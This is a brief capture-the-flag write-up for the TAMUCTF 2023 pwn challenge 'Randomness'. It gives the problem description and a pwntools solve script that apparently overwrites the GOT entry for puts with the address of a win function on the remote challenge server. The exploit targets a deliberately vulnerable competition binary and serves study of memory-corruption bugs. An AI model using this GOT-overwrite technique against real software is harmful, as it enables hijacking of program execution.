Randomness
05/04/2023
By: unvariant
Tags: pwn TAMUCTF-2023Problem Description:
I made this program to test how srand and rand work, but it keeps segfaulting. I don't read compiler warnings so I can't figure out why it's broken.
Hints:
Reveal Hints
NoneSolve script
from pwn import *
file = ELF("./randomness")
p = remote("tamuctf.com", 443, ssl=True, sni="randomness")
p.sendline(str(file.got["puts"]).encode())
p.sendline(str(file.symbols["win"]).encode())
p.interactive()